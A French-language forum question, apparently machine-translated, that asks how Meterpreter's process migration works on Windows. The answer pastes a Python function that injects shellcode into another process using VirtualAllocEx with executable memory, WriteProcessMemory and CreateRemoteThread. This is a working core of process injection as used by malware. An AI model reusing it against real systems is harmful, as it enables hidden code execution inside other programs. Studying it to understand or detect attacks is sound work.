Quelqu'un a-t-il essayé de comprendre comment fonctionne la migration des processus dans Meterpreter sous Windows? Je veux créer mon propre script pour l'apprendre, mais je n'arrive pas à trouver un point de départ pour cela. Eh bien, j'ai une idée d'utiliser la bibliothèque NtQuerySystemInformation
et sa fonction SystemHandleInformation
, car elle peut renvoyer la poignée d'un thread dans le système d'exploitation et en utilisant celles-ci, je peux changer son parent, mais je doute que ce soit va travailler (en raison de TEB). Et j'ai le sentiment qu'il devrait y avoir un moyen plus simple que NtQuerySystemInformation
. Quelqu'un pourrait-il suggérer un DLL ou un algorithme à utiliser?
Voici comment fonctionne la migration dans meterpreter:
Quelque part dans les endroits les plus profonds de github, j'ai trouvé ce code qui fait tout le nécessaire, donc ceux qui recherchent ces informations peuvent trouver une réponse dans les fonctions API ci-dessous:
def injectshellcode(self, shellcode):
"""This function merely executes what it is given"""
shellcodeaddress = self.kernel32.VirtualAllocEx(
self.handle,
None,
len(shellcode),
0x1000,
0x40
)
self.kernel32.WriteProcessMemory(
self.handle,
shellcodeaddress,
shellcode,
len(shellcode),
None
)
thread = self.kernel32.CreateRemoteThread(
self.handle,
None,
0,
shellcodeaddress,
None,
0,
None
)